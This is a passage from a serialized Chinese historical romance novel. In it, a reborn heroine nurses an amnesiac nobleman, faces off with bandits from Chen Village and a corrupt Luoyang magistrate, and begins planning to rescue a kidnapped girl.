但最奇的是,这齐王府自老祖宗始,竟无一纨绔子弟,可谓满门兰芝、一室棠棣,出过两帅三将三相数十进士,更有个名篆史册、用兵如神的女将军宁三娘,风光了数代人。
可一切都戛然而止在二十年前。
朔宁四年,齐王反,九族尽诛。
从此宁家就成了这个大梁的禁忌,前后因替齐王府上疏伸冤而死的大臣名士不下百人,一时血溅大明宫。
时至今日还有人常打着为齐王府平冤的名字造起霍乱。
她儿时曾因顽皮偷跑到齐王早已荒废了的旧宅玩耍,结果在里面迷了路,困了整一日才遇着个好人将她带出来——那实在是个大得跟个海底龙宫一般的宅子,纵使杂草丛生、雉雀乱飞,也难掩旧日风采。
难不成辜筠玉和宁家有关系?
这个念头一起,白持盈混觉一身冰凉,心中惴惴不安。可又想到自个儿当初遇到这人时,他一身锦衣华服,瞧着实在不像是个流浪破落户。
难不成是齐王故交之后?
这也不应当,当初与齐王有关的人,被贬的被贬,被杀的被杀,哪个还有如今的风光模样?
实在是想不出个所以然来,白持盈只能将怦怦乱跳的心放回肚子里,悄悄探头头看着床|上脸色惨白的辜筠玉,长长叹了一口气。
婆婆微微欠过身子,朝白持盈一笑:“看吧看吧,就在这儿呢。”
白持盈脸颊蓦得飞上一片红,忙将视线收回来,解释道:“我瞧瞧他是不是比方才好些了。”
婆婆也没再逗他,只拜了拜手,招呼白持盈过去,吩咐道:“好是肯定比方才好了的,只是需好好吃着我那两副药,一副是调理他身子的,一副是治这失忆之症的。”
语罢,她又施了一针,才悠悠道:“但也许他这一醒来,便什么也记起来了,姑娘便也不必劳神费心照顾这短命鬼了。”又放出半碗黑血,婆婆嘴里念念叨叨骂着辜筠玉不好好养身体。
白持盈将那半碗黑血倒了,凝眸看她:“若能记起来最好,免得像如今一般不上不下的,倒叫人每日里提着一口气。”
婆婆还欲回她些什么,石小四却恰好拿了药回来,推门打断二人话头,大喊道:“我是不是特别快!”见白持盈神色不对,她又缓缓放下了那举着药袋子的手,讪讪问:“怎的……我、我说错什么了吗?”
知是自己方才满心如麻愁绪吓着了这孩子,白持盈连忙笑着将那药袋子提过,谢道:“方才正担心着伤势呢,一时没回过神来。”从荷包中捏出一粒碎银子,白持盈递给石小四:“你拿着,与盲妹妹买些好吃的去。”
拿着那粒碎银子,石小四蹦跳着离开,白持盈才回过神,将那药袋子放到桌上,
一直到晚间,辜筠玉都没醒来。
他困在一个很沉、很沉的梦里,沉得人快要溺死。
先是一处连着圆润石子的曲折游廊,折向一雕檐画栏的池中堂室,尾尾红鱼成群翕合荡漾,却不点半点生气,连那柳、那荷也是极冷,冷得人在夏日里也不免心境郁郁。
辜筠玉持着把纸伞走近了,一时约莫有十几个丫鬟侍女样的人排排低头行礼,瞧不清面貌,却嘴里念着“世子万安。”
堂室内传来阵阵诵经声,一青衫木簪的美妇人合手与金袈裟的大师念着经文,幻境中的辜筠玉神色淡淡,向前行了一个规规矩矩却也无甚情分的礼:“孩儿见过母亲大人。”
“今儿书可曾读过了?”美妇人未回头,仍是盘着手中念珠。
“回母亲大人,未读,今儿与陛下、父亲大人先去太学里巡视过,想着回来再念。”辜筠玉仍行着礼,声音并无起伏。
那美妇人却是勾唇,转身抚过辜筠玉的脸,终于换了个人似的,慈爱道:“我家玉儿向来是出类拔萃的,昨儿陈妃才与我说,皇上又赏了你一匹西域进贡的汗血宝马?”
“是的,母亲大人。”
抚过添了银光的一头青丝,美妇人懒懒收手,与身旁丫头笑道:“他们那些会生好几个的又如何?还不是加起来都比不上我这一个心尖儿上的?”
丫鬟小心着替美妇人摘掉鬓边银丝,附和道:“那是,谁不知咱们世子是放眼这九州十六郡也顶争气的郎君。”
二人又说笑着聊了两句,辜筠玉却并未听进去,只觉得这佛堂太冷了。
她们是谁?
眼前美妇人随着袅袅青烟幻化而去,亭、台、楼、阁都精怪似的旋扭作一团,乍然荡开,碎作一片片烂书页。
漫天风雪,辜筠玉看着眼前那个原先长身玉立的公子变成了一个小小的孩子。这个小小的、瘦骨嶙峋的、衣衫褴褛的孩子,倒在一处破庙旁。
他双手尽是血污,就快要死去。
在大雪要覆压过一切声音时,一辆华盖马车撕开阵阵寒冽北风,行到了他面前。
“爹爹,你快来!这小孩儿好像要死掉了,好可怜啊。”
马车上跳出一个雪团子似的小姑娘来。
他感觉自己掉入了一个温暖得有些灼烫的怀抱,叫人不想醒来。他使劲睁开冻得肿胀的双眼,用尽毕生气力瞧了那小姑娘一眼,然后就什么都不记得了。
他们的马车向长安城最繁华的地方行去,那里没有风雪和饥寒,只有一府梅红纱绿、无烟却热的紫山炉和满堂墨香。
好暖和。
辜筠玉许久没有睡过这样绵长的一觉了,他睁眼,没有梦中寂冷的佛堂,也没有梦中飘荡的红福结,被儿却还是香香的。
不对。
迟缓凝滞了许久的脑子突然转过神来,辜筠玉尝试着动了动发麻的手臂,却发现沉甸甸的。
白持盈还未醒来,早就越过那楚河汉界钻到了他怀里。
看着姑娘静静的睡颜,辜筠玉终于不再发愣,登时想起了这几日的一切。
白大小姐千叮咛万嘱咐他不许这也不许那,自己却是个睡觉实在不安分的。其实辜筠玉想了好几日,也想不出她是如何悄无声息地翻过那小山来高的隔被钻过来还不醒的。
所以在第一
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日侵晨起来发现两个人滚在一块儿以后,他每日皆比白持盈早起一些,只为白大小姐不要恼羞成怒让自己露宿街头。
反正他肯定是为了不露宿街头,绝对不为旁的。
对的。
在严寒逼人的屋外和香香暖暖的被子中间挣扎了一瞬,辜筠玉果断选择了后者,然后十分心安理得地闭上了眼。
总不可能把自己一个病号扔出去,白小姐还是一个十分有良心的姑娘。
就是太有良心了。
辜筠玉在心中叹过一口气,给身旁人拉了拉被角,昏昏沉沉又睡了过去。
*
石当家的今儿清晨在院子里练武时,发现很不对劲。
收留的小孩子们先起了,蹲在井旁玩闹着;石小四叫上小盲女出去采买食材去了;白持盈一个人站在屋门口踱步了有三刻钟。
若仔细瞧了,还能发现这向来沉稳的白姑娘竟脸颊耳根皆飞红,愤愤地脚一踩地,想进屋去却又折了回来。
白持盈已经这样欲敲又止,止又欲敲数次,最终还是没有抬脚走进去。
石当家的断定这肯定和屋里那位公子有关,白大小姐平日里是一团和气的菩萨模样,端像画里走出来的仙女,可一碰上屋里那位,仙女就跟点了睛一般,染上了人间颜色。
但她根本不敢说。
她只能给白辜娘递上刚蒸好的几个窝窝头,示意姑娘快吃。
白持盈道了谢,接果那窝窝头,吭哧吭哧吃掉一个,腮帮子撑得鼓鼓囊囊,眼睛睁得大大的。
她一想起今早起来自己滚在那人怀里,她就羞得差点儿将手中帕子生撕了。
怪不得这人几日来每日都起得那样早,又那样古怪地瞧她。
真是……真是岂有此理!
她半是忧心半是试探地问这人话,偏这人还一通胡搅蛮缠的乱说搪塞自己。
问他可是因着那牌匾发的疼吗,答曰不记得;问他可记起些什么来,答曰不记得,问他为何不与自己说那乱动的事儿,他拿被子蒙着脸笑作一团。
真真是可恶至极!
待肩上积了一层薄霜,药煎得时辰差不多了,白持盈才深吸过一口气,推门进了屋里。
辜筠玉正拿着块儿帕子俯在床边咳血,一抬头便瞧见白持盈手中端着那碗泛着苦涩的药,两人皆是一顿。
他是因着没料到白持盈忽然进来,而白持盈则是因为——她在门口站了有半个时辰,竟没听到屋里一点儿响动,若不是现在她郁闷着忘记敲门,这人估计又悄无声息地将那咳了血的帕子藏起了。
“你!”
你怎的又不吭声,是个哑巴吗?
但白持盈话未出口,瞧见辜筠玉面色苍白地又咳出些血来,便一下子什么重话都讲不出来了。
见白持盈将那碗药搁到桌上,反常沉默地站着,辜筠玉也未拿起药碗,只伏在床边瞧着她,眸子一眨不眨,二人一时皆未吭声。
可恶极了!
白持盈一番切齿之心,恨恨道:“好哥哥,我现下也不问你想起来甚么没有,你不爱说,也不问你……罢了,你总难受了发发善心与我说一声,别哪回不注意的闭过气去,叫我白忙活这月把的日子,空耗钱财又空耗气力的。”
语罢,她似觉得不妥,却又不知再说些什么吗,只得补了句:“你快吃了这药罢,我先出去了。”
从她进来到出去,辜筠玉皆一字未言,活像个寺里禁言的佛像。
她冷笑而过,将要把门闭上时,却听里头辜筠玉忽而搭了一句。
“……真没骗你。”
“别与我生气了好不好。”
11. 不速客新添烦恼事,局外人又落迷蒙言
白持盈门未关上,只隔着一道门缝与他对望着,半响,她将那门一关,隔着屏障回他:“……且先信你这一回。”
天一径是泛白了,托着些橘红的新云,越走那瓷白色便越宣张,一会儿便吃了黄红一片,开始透出些蓝来。
是个大好的晴天。
小院里也有几棵树,暂瞧不出种来,只枝头积压的一指来宽的雪渐渐剥落。蹲在地上的石小七淋了满头雪水,也不恼,只嘿嘿地看着白持盈一笑,跑回屋里擦头去了。
看着这些满院子乱跑的孩子,白持盈沉郁的心情好了许多,她搓了搓有些冻僵的手,宽慰自己:他若真是齐王后人,自己也不能就如此将他放着不管,只得他好些后……好些后两人独木阳关,一别不见。
若他不是,是个旁的富贵人家的子弟,遇上歹人作乱受伤的最好,若是家内缠斗,自己也没法子——从她在芦苇桥旁折返的那一刻起,一切便都不随自己的意了。
她不望着其他,只想在这洛阳好好地活下去,将来若攒够了钱,便一点点将苏府那旧地皮寻回来,多的少的没关系,总还有个念想。
若能找到搬走的舅舅一家便最好不过,在这样的冬天里还能生个炉子烤热柿子,表哥柿子烤得最好,她一径能吃三只。
总不至于自己还是孤零零的一个人。
她定了定心,将往大堂走去寻石当家的,却听一阵喧闹起,堂内传出个熟悉的人音儿来。
“哎呦呦,这小小的茶馆还不叫人坐了,你们老板是哪个啊?也不来招待客人?”
白持盈步子一顿,想转身时已晚了,二婶子一张涂了红胭脂的脸蛋子兀得站起,将方帕子甩得前后摇动,拔高了调子笑道:“呦,这是谁呢,我怎的不认识了,来了洛阳城,是吃的也比二婶好,穿的也比二婶好,这小脸蛋儿,水嫩的,谁叫了不说一句标志呢。”
见这人来者不善,石当家的脸色一变,伸手抄起柜台边的一根棍子就站到了最前头。
那棍子闪过,二婶子果然吓了一跳,往后缩过一头。旁边站着二婶子的女儿花娘,见母亲后退,自个儿也连连跟着往后倒。
看着这二人白持盈便想俯在一旁深呕一番。但她面上不能显,只装作不在意,淡淡扫过二人,拉住石当家的,开口问道:“不知二婶子和花娘今儿来有何贵干?”
将手中一把瓜子壳“呼啦啦”扔到地上,二婶子斜过身子依在桌旁,挑眉歪嘴道:“小姐是贵人多忘事啊!”
踩过那瓜子壳,二婶子上手就要拉白持盈,却被白持盈微微欠身躲过,她恼过一瞬,却又呲着嘴笑起来:“倒和婶子生分了,小姐若不记得,我也得替小姐记得。”
她抚过自己皱纹堆叠的侧脸,一招手,从屋外哗啦啦进来十几个人,皆是一副粗狂打扮。白持盈见那为首的一个壮汉子,上辈子许多旧事闪过,脸色一白,手便止不住抖起来。
这些人,她可太认识了。
为首的那个正是陈家庄的三当家陈宝梧。
上辈子也是冬天,和现下时节差不多,却冷得厉害,又落了一场吃人似的飞絮雪,白持盈差一点,就差一点点就能逃出那魔窟似的庄子。
她买通了烧菜的厨子,那厨子也是被绑上这陈家庄的,见她可怜,便在那夜做饭时往主屋的餐食里放了些蒙汗药,她梭巡过半个多月,寻到北柴房下的一处狗洞,若一切行进得顺利,当晚二人皆能从那洞中逃出生天。
可这世上并无许多如意事。
她千算万算没算到那外出劫道的三当家陈宝梧会忽然回寨,就这样和胖厨师当头迎上了他。
后来无法安眠的数个日日夜夜,白持盈一闭眼,脑海里便都是厨子死时的样子。
那样和善的一个人,最后连具骨头都没剩下。
风雪愈大,她好像没法逃出去了。
忽而一阵棍棒声起,白持盈从前世惊起,却见石当家的已是和那陈宝梧交手过几个回合,二人一时打得难解难分,还是旁一白面儒生样的男子出声制止了二人。
“这位姑娘何必上来便打打杀杀呢,我们有话好讲。”那人一张脸长得甚是寡淡,瞧过一眼便是在人群中再见也绝认不出来。
白持盈皱眉。
那书生见白持盈瞧他,规规矩矩行了一礼,皮笑肉不笑道:“在下杨惊生。小夫人不如多劝劝这位姑娘?来日我们也是极亲极近的关系,如今一见面儿就伤了和气,实在是不大好哇。”
她怎的对这人无一丁点儿印象?
“呸!去你|爹|的,谁与你小夫人,谁与你极亲极近了,也不撒泡尿照照自己是个什么样子,滚去耗子洞旁认亲的还差不多!”
那人被石当家的一阵臭骂,脸上已是挂不住色,红青一阵,但不知想到了什么,他又将将挂上笑,满派和气道:“小夫人之友果然是与小夫人一般的伶牙俐齿、活泼可爱,哈哈哈哈,某这遭便看在小夫人的面子上,不与这位姑娘计较了。”
他转头望向白持盈,见白持盈款款朝他这边儿走来,神色淡淡停在他面前。
他又是一笑。
白持盈抬眸,伸手给了他两个巴掌。
管他是谁呢,反正今儿能走便走了,不能走也认了,她最见不得这副假惺惺的恶心模样,看了叫人三日不能自在进食。
一时一堂人皆愣住了,却实在是各惊各的。石当家的从没见过白持盈动粗,手中棍子都险险没拿稳,二婶子则是一脸青白,忙“哎呦哎呦”地要去扶那书生样的男子。
杨惊生却并未发作,他极镇定,似乎见过许多这样的事儿,只擦过嘴角血迹,“哧哧”咧出一抹怪笑来,蛇一般盯着白持盈,并未讲话。
见他举止怪异,石当家的上前来护住白持盈,环视着这呼啦啦黑压压一群人。
白持盈则在心中盘算着如何叫人去安王府搬救兵。
*
风荡开窗外杏树枝,辜筠玉站在屋前窗户旁,伸手将那碗苦药汁一点、一点洒到杏树根处。他望着远处茫茫远山,青黛一片盛了一个白尖儿,美妇人刚花的发顶般,但见迟暮。
脑中闪过许多、许多或清晰或模糊的影子,那些光影古怪的人们化作一头又一头面目恐怖的精怪,要把人的血肉都吞吃殆尽。
他又想到白持盈,姑娘站在断桥边,朝他盈盈一笑。
还没来得及伸手,一切都消失了,被苍茫茫的大雪覆盖,只剩下芦苇在寒风中瑟缩。
正看着那枯不见春的杏枝,忽听得堂外一阵喧闹,辜筠玉遂披上外衣推门出去,却隐隐望见堂外黑压压一群人。将要迈过去的步子停住,辜筠玉温声叫来被那吵嚷喧闹声吓得躲在柴堆后的石小七。
小丫头正被吓着,见了熟人自然是两三步快快跑了过去,拽住辜筠玉的衣摆不愿放手。
辜筠玉一愣,看着小姑娘小小的发旋,僵着手学着白持盈一般里哄孩子的样子摸了摸。
“小七,现下有个活计与你,能将你姐姐和白姐姐叫回来陪你,你可能做去?”
小七犹豫了一下,眼泪汪汪地瞧着辜筠玉,又眼泪汪汪地看了堂外
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一眼,终于下定决心般点了点头。
辜筠玉递给她那当时安王府赠与的荷包,吩咐了两句如何往安王府去,见小姑娘从狗洞溜了出去,便转身直向堂上。
到那堂上,正是白持盈刚动了手,杨惊生冷笑在一旁,石当家的护在前的剑拔弩张之时。
他因赶得急,又病着,故而只将发丝随手系在一侧,被风一吹受了寒,便止不住咳嗽了两声。
二婶子与花娘见了,皆是一惊,再看时,花娘早已羞在一旁,侧身拿袖子挡了脸欲遮还羞,又忍不住偷看两眼。
辜筠玉却懒懒抬眸,未瞧他们,只上前捧起白持盈的手握在手心,悄悄耳语道:“好凶啊,盈娘。”
这称呼犹如江水倒注般灌入白持盈肺腑,一时惊起千层涟漪来,许多模糊的影子泛开,叫她胸口沉闷一霎。
似乎、似乎有人也这样喊过她。
见她愣住,辜筠玉抬手在姑娘额前一点。白持盈堪堪回过神来,眸光闪漾几瞬,急急掩饰自己方才失态,故而愤愤拧了辜筠玉一把。
一时紧张气氛全作了绕指柔。
辜筠玉倒未喊疼,只又虚弱地咳嗽了两声,白持盈怕他旧疾发作又吹了冷风,忙上前扶住,却见这人埋在她肩头偷笑。
可恨的又骗人。
白持盈决意不再理他,将他没骨头似的身子扶正,而后自觉极凶地瞪了他一眼。
辜筠玉又笑。
见这两人一来二往几下,二婶子一个拉媒的怎会看不出来,登时急了,忙骂道:“这不检点的小贱|蹄|子,这才出来月把,又勾搭上人了!”花娘搭着她娘的手,此刻倒也不含羞了,只指着白持盈瞪眼:“平日村子里便你穿得最妖艳,大牛哥二壮叔哪个不是被你相公官人的叫过,如今倒是装上纯了,呸!不要脸!”
白持盈听她母女二人满嘴含唾急急污蔑,倒也没急,只虚扶着那柜台,轻轻顺过一缕发丝,笑道:“婶婶妹妹瞎了眼便罢,撞了头可不好,自己做的事儿反记成旁人的,叫郎中看了也是连连摇头,说是医不得的怪病。”
语罢,她拍开辜筠玉又斜过来的身子,上前一步道:“如果我没记错,这带私兵进城,可是按谋反论处的。”
听了这话,二婶母女脸色煞白,只慌乱着往后往那陈家庄的人,只见那一伙子人却是个顶个的镇定,丝毫不见私带匪贼入城的慌乱。
本就是试探,这下白持盈全明白了。
怪不得上辈子自己逃出陈家庄后报官上状之路走得那样艰难,原是从根上便全烂了。
官匪勾结,苦百姓哉。
一时满堂人各有各的心思,杨惊生却没陷入这针尖麦芒的来回里,自辜筠玉进大堂后,便一动不动地盯着辜筠玉。
辜筠玉自是瞧见了他,只淡淡扫了他一眼。
杨惊生仍阴冷地看着辜筠玉和白持盈,最后“哧哧”阴笑一声,不知葫芦里卖的什么毒药。
柜台上香烧了一段,落在杠子里。
见时候已到,辜筠玉侧身替白持盈挽起那落下的一缕发丝,款款开口:“时辰已不早,茶馆不接贼客,请众位先行离开可否?”
那三当家的没料到他竟敢逐客,一时心中觉得可笑,便反问道:“你说什么?”
却不料他语调未落,却见一银制暗器朝自己飞来,死死钉入他壮实的肩头。
一时鲜血飞溅,三当家的直接滚落在地,痛呼不止。
“让你们滚。”
辜筠玉冷声回荡大堂中,门外是熟悉的兵胄马蹄声。
12.雪落枝恨看郎君面,竹照影疼煞美人心
“将这里围了!”
雄浑的男声自门外侵入,一阵哒哒马蹄声落,黑光闪过,一体格雄健壮美的男子阔步入内,长刀锃亮,与挡在门口的山贼对峙着。
辜筠玉护在白持盈跟前,见真宁郡主拉着石小七急匆匆跑上前来,身后还跟着个着急忙慌的石小四。
今儿也许是事态紧急,真宁郡主还穿着一般日常的衣着,故而跑起来有些碍事儿,她将用另一只空闲着的手抓起裙摆,跟在那先进来的侍卫之后,一派愤懑生怒模样。
“岂、岂有此理!竟然有贼匪公然入我东、东都而百官不察!”真宁说话仍有些结巴,却比那日见着时多了几分镇定底气,命令带来的一众家兵团团将这茶馆围住。
那帮子贼匪平日里横行惯了,哪见过这般架势,只觉得一时脸上挂不住,好几个粗眉倒竖,嘴中骂骂咧咧讲着些不好听的东西。
两方静默地对峙着,那杨惊生不知跟了哪班牛头马面,阴毒玩味的目光自辜筠玉绕到白持盈,目光所到之处仿若青苔顿生。
向来目中无人的三当家脸色极差地捂着肩头,低下头询问着杨惊生什么话,半晌他直了身子一挥手,示意那些匪贼退出去。
他们刚行至门口,却听白持盈清亮如莺啼的声儿传出,带了两分冷意。
“众位远道而来,不如吃口茶再走?”
姑娘敲了两下柜台的木板,心知此遭是万万不能放了他们走的。
此刻扣住了这帮人,还能对那陈家寨有个震慑,若就这般草草放了回去,怕是日后的安宁日子全叫搅和走了。
那帮子匪贼果真愣住了,三当家的一时大怒就要上前动手,却扯动了身上的伤,呲嘴一闷哼,愤愤盯着辜筠玉,像是要生吃|人|血|肉的模样,浑身毛发都炸了起来。
他欲发作,被杨惊生拦了下来。
“姑娘这是何意?我等不过良民进来讨口茶吃,何故一而再再而三咄咄逼人。”
这人说话还是哪班不紧不慢、有条有理,一股子邪性。
“怎的不一样了呢?”他眯了眯眼,脸部肌肉如发病一般抽搐过几瞬,吓得真宁郡主连连后退。
辜筠玉未理他,垂眸敛下眼中寒色,缓缓开口道:“尔等暗害真宁郡主,罪同十恶,想走还是早了些,草民请郡主捉拿此些要犯归案。”
听他言说,真宁郡主先是一愣,而后立时明白过来,“扑通”一声坐在地上哎呦哎呦大喊起来,一会子腿疼,一会子脚疼,一会子心口疼。
那方才先行进来的侍卫长登时不见方才镇静凶相,赶忙躬下身子要瞧真宁郡主,却被郡主狠狠瞪了一眼,只得摸着脑袋站回去。
“哎呦,哎呦,我的心、心口痛,肯定是被、被这群人吓到了,哎呦喂……”真宁卧在地上连连喊叫,白持盈给那卫队长使了个眼色,卫队长终于会意,抬手施令,要捉拿满堂震惊着的山匪。
那些山匪再能耐,又怎是老安王为宝贝孙女专养的卫队兵的对手,不到一刻钟,便全被押解在地,动弹不得。
那杨惊生脸色更差了几分,却只直勾勾盯着辜筠玉,复又盯着白持盈,半晌阴恻恻一笑。
辜筠玉将白持盈护在身后。
“真有意思啊,真有意思,你会后悔的。”杨惊生舔了舔上牙膛,留下一句前言不搭后语的怪话。
白持盈听这言先是愣过,心脏砰砰直跳,一种不好的预感漫上心头。
“真是好生热闹!” 侍卫动作还未行便,门口柳树枝头上的灰雀“扑楞楞”惊飞,门外笑声越过许多人传到白持盈耳中,一阵兵甲声动,有另一行人来到。
她定睛一看,却是那在任的洛阳令。
两梢眉极弯的王大人一出现在门口,三当家便哈哈大笑,笑得人脊背发凉。
与辜筠玉对视一眼,白持盈心知这遭是收不了这些个贼匪了。
门口有个平日里常蹲守着的小叫花子匆匆逃开。
白持盈心中冷笑,这洛阳令倒是来得及时。
见那面上讨喜的洛阳令进来,真宁愈发躺在地上“哎呦哎呦”叫起来,喊到岔气处还打过几个嗝,洛阳令哪里不知她是演的,却也只能陪着这祖宗哎呦哎呦几声,偷下使了眼色叫人带走那些被押起来的兵士。
石当家的欲上前拦下,却见白持盈摇了摇头,伸手制止。
众人皆知恐怕此次是不得善了此事了。
白持盈正寻思着该借公主受伤由头留下三当家和杨惊生里的哪个,却听那杨惊生开口道:“伤了郡主在下正是心中惴惴不安,不如我与郡主回安王府请罪,其他兄弟毕竟无辜。”
这人装的好一派歉意万分,叫生人瞧见了还以为是甚么真君子。
白持盈心中唾骂一声,还未来得及接下句话,却见辜筠玉轻飘飘上前,掐着杨惊生脖子将人提了起来。
杨惊生未料他竟如此“不讲道理”,猛地咳嗽起来,眼瞧着就快要断气了。洛阳令王大人一时急了,忙要叫人来救下这杨惊生,却被辜筠玉淡淡一眼震住了。
白持盈从未见过这样的辜筠玉,他平日里是润如美玉的,偶尔一调笑也不过是给玉添上几分灵巧鲜活颜色,今儿却像是裹挟了一身风雪来的人,阴冷地叫人忍不住寒颤。
“王大人若想带走其他人自无不可,只是这二人心思歹毒意欲暗害郡主,是万万要交给安王爷处置的。”
洛阳令这才从震煞中回过神来,瞧见他眉间朱砂一点,像着了魔一般发抖了起来,“你你你”半天也没说出个所以然来。
白持盈站在辜筠玉身后,静静看着这堂上许多人,见那洛阳令王大人气急败坏带着一伙子人“押解”匪贼远去,见石当家的和真宁郡主松下一口气,见杨惊生阴恻恻转移视线盯着石小四,也见辜筠玉背对着她久久没有回身。
她忽然有种抽离于世界之外的空荡荡之感,仿佛这些人霎时皆不认识了。
她脑海中忽然几个景闪过,却琢磨不得,叫人心神惶惶。
最后还是石当家的咳嗽一声,和真宁郡主的侍卫长一同绑了留下的二人,才惊起白持盈。
白持盈觉得眼前的背影和某些模糊的影子渐渐重合,最后融于一池静水之中,消失地无影无踪。
唯有朱砂一点是清晰的。
辜筠玉转身看了她一眼,动了动嘴想说些什么,却额角阵痛,一阵晃身,直直落在了白持盈怀中。
这人身上好凉,凉得像数九寒天的雪地一般。
*
那三当家的是
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个硬茬,杨惊生竟也滑不留手的诡辩,石当家的审讯了一个晚上,却并未问出什么太实际的东西。
辜筠玉发着高烧,梦中断断续续嗑着血,婆婆大晚上的被叫来看诊,气得将当堂人连带着昏迷的病号都骂了个遍。白持盈低着头一声不吭,只给辜筠玉一点儿一点儿喂着药。
一碗药这人吐了有多半碗,白持盈却还是呆呆地坐在他跟前,端着碗不知思索什么。婆婆似乎也发现她状态不对,也便渐渐息了声。
白持盈放下碗,摸不清情绪地看了辜筠玉半晌,缓缓走到了窗边。
从窗缝蹭|入的寒风仍吹着,叫她混混沌沌的心绪清醒了些。
就在方才,在那大堂之内,她脑中忽然闪过些模模糊糊的事情,在上辈子离开陈家庄之后。
她被人抱出那个永远漆黑潮湿的地方,再也没回来过。
然后呢?
那时她身子似乎比现在弱许多,连走一步都十分费力,她被人抱在怀中,穿过一片潇潇竹林,那竹林后似乎有个不大不小的佛堂,有诵经声声声入耳。
竹叶掩映过青石壁,阶上有苔藓斑斑,由一铺了鹅卵石的小径通去,一带细泉折泻壁石之下,缘佛堂而出。偶有鸟鸣二三,也未曾惊动堂中出家人。
那瞧不清面目的人问她,盈娘,你说什么叫缘分?
白持盈轻咳几声,仔细想了想才答道:人定的、引媒妁的叫缘,天定的、牵红线的叫分。
那人听了她的回答,苦笑一声,有些难过道:既没有缘,又没有分的,该当如何?
她思索半晌,勾起他的小指,苍白着脸却眉眼弯弯道:这样就好了呀。
这样就最好了,再没有比这更好的。
那人小指有些异样的弯曲,白持盈却勾在手里,很久都没有松开。
她几乎笃定了这人的身份。
愈想白持盈愈觉得昏昏沉沉喘不过气来,心口一阵翻一阵的疼,虽无雪下,却冷得人不得自持。
最后所有繁杂的记忆汇到一抹模糊的身影上,白持盈瞧不清他的脸,只记得这人眉间朱砂灼艳。
像开在枯枝上的桃花。
新煎的药好了,药锅子“咕嘟咕嘟”冒着泡,沸起一阵苦涩来,白持盈将窗子留的缝关上,回身看着躺在床上的辜筠玉。
这人最近反反复复地旧疾发作,却又看不出个甚么源头来,只惹得个郎中婆婆干着急。
白持盈正准备将那新煎好的药灌到碗里,还未来得及动作,却见石当家的一脸怒色推门而入,身后扯着个快把头低到地里去的石小四。
“怎的了?”白持盈只得将那药碗放下,低声问道。
石当家的脸色愈黑,一把将石小四推上前来,狠狠锤了她一下。
“你说!”
石小四哆哆嗦嗦扣手,颤颤巍巍抬头。
“我、我好像把那盲妹妹弄丢了……”
她说着,眼泪吧嗒吧嗒流了下来。
“哇……怎么办呀……”
白持盈当即“唰”地站了起来,碗中刚煎好的药洒了一手,她却未觉察一般。
隆冬大雪末,陈家庄,洛阳消失的女子。
前世今生的许多记忆乍然涌入,如当头一棒。
13.少年客抖落今生雪,老歹徒奸骗良善人
“先莫急,且将那时景况细细说来。”白持盈拿着帕子揩了石小四混做一片的鼻涕眼泪,柔声问道。
其实在座一堂人皆自责着,方才景况太乱,众人都忘了这档子事儿,如今叫石小四一提,才乍然惊醒。
石小四深吸了几口气缓过,磕磕巴巴哽咽着开口道:“今儿早、早晨,我与盲妹妹相跟了出去,本是一直在一块儿的,后来碰见个约、约莫七八岁身量的小孩儿,问我布铺在哪儿,我指了,他又说寻不到,我便带着他去了。”
身量约莫七八岁的小孩儿?
白持盈听这叙描,只觉得电光火石间,一人模样霎时出现在心头。
陈家庄那个模样怪异瞧着只有七八岁,可其实已经有半百年纪的门客!
“后来我带他到了地儿,他又好似说不清话般,前言不搭后语,我耐着性子与扯布那婆婆说了半晌,才给他拉好布。后来他一闪身便不见了,布也没拿,我正奇怪着,小七却到了街上,咿咿呀呀与我解释了一番公子之言,我一时急了,便先与她到安王府找郡主去了,后来回了咱家又那样急慌慌的一场事儿,就、就……”石小四愈说到后头声音愈低,眼瞧着就要跪下去了。
将她拉起安在屋内的木凳上,白持盈音儿依旧是柔和的,神情却严肃了许多,正色问了石小四一句:“那人可是瞧着头比平日孩童大些?”
石小四思索一瞬后连连点头。
“是了!他其实瞧着有些怪,我刚头起也有过疑心的,却心想着不好太猜度别人,便、便……”
白持盈摸了摸她的头,温声道:“小四也是因着急我们才先紧着去安王府的,这个怎能怨你?如今咱们想办法将盲妹妹救出来才是最要紧的。”
“怎的,你知道是谁?”石当家的听出白持盈话外之意,连忙追问。
白持盈神色比方才更沉凝了些,朱唇轻启,缓缓吐出三个字。
“陈家庄。”
*
夜已深静,烛火在白持盈雪样的肌肤上跳动,像翕合游动的黑锦鲤。
“当断不断,必受其乱。”
她在面前铺展开来的洛阳城地图上圈出一个地方来,又用浓墨狠狠划去,上书着三个大字“陈家庄”。
说来这地图还是亏了真宁郡主,不然几人恐怕还得花费精力去弄一份来。
“我废、废了好些气力才弄到的呢,快、快看。”真宁头一次参与这样“有趣”的事儿,显得活泼兴奋极了。
“这……”石小四在一旁吞吞吐吐半晌,看看沉默的白持盈,又看看沉默的辜筠玉,觉着气氛不对,最后还是把话吞到了肚子里。
这是一张十分、十分详尽的洛阳地图。
详尽得叫人有些……有些觉得玩味。
但辜筠玉和白持盈皆当做什么都没察觉一般,只继续就着这洛阳地图讨论应对之法。
“得先进去探探那陈家庄究竟是个甚么景况。”
白持盈虽能依着前世记忆绘出个五六分来,可一怕自个儿知道太多反惹人疑,二来怕如同那杨惊生一般与前世有所不同,反误了救人时机。
她话音儿刚落,在外面守着巡视的石当家的推门而入,接上她的话头:“我去吧。”石当家迅速将门合上,冷地搓了搓手,拍掉肩上的霜。“确实得先进去探察一番,才好作决定。”
众人点头。
“我同去。”一直沉默着看那地图的辜筠玉忽而开口,好似有所感般,他对上白持盈不悦的目光。
“不行。”白持盈又抬手,拿一道曲曲折折的墨线连上洛阳的官府与陈家庄,最后在那线旁边点了许多小墨点子。
石家姐妹与真宁郡主皆一头雾水地看着她,白持盈也不作解释,只低头将那毛笔搁下。
兵,她需要兵,准确来说,需要洛阳官府的兵来围剿陈家庄——陈家庄可不仅仅是有钱,最重要的是,它有数量相当不少的匪兵。
可这正是目前最大的问题。
她知晓需兵来剿这话现下提出来是天方夜谭,故而并未立时道出,只盘算着如何下手逼这姓王的出兵。
白持盈一边儿思谋着这事儿,一边儿按着辜筠玉的肩膀,不叫他站起来。
辜筠玉凝眸,一双眼睛如同一块儿沉沉的黑玉,叫人看不出情绪。他伸手将白持盈的纤细的手拿下,握在手中。
姑娘一愣,将将要挣开他的手心,却被愈握愈紧,生生将两人冰凉的手捂出些温度来。
在这皮肤温度之外,白持盈觉出一抹凉意来,一低头,才发觉是辜筠玉那枚只在破庙中出现过的墨玉扳指。
她心突突跳过几跳,脑中无数光景轮转,最后只落在那夜男子被月光照亮的朱砂痣上。
“要去的,一个人效率太慢,且又危险,还是我与石当家的兵分两路的好。”
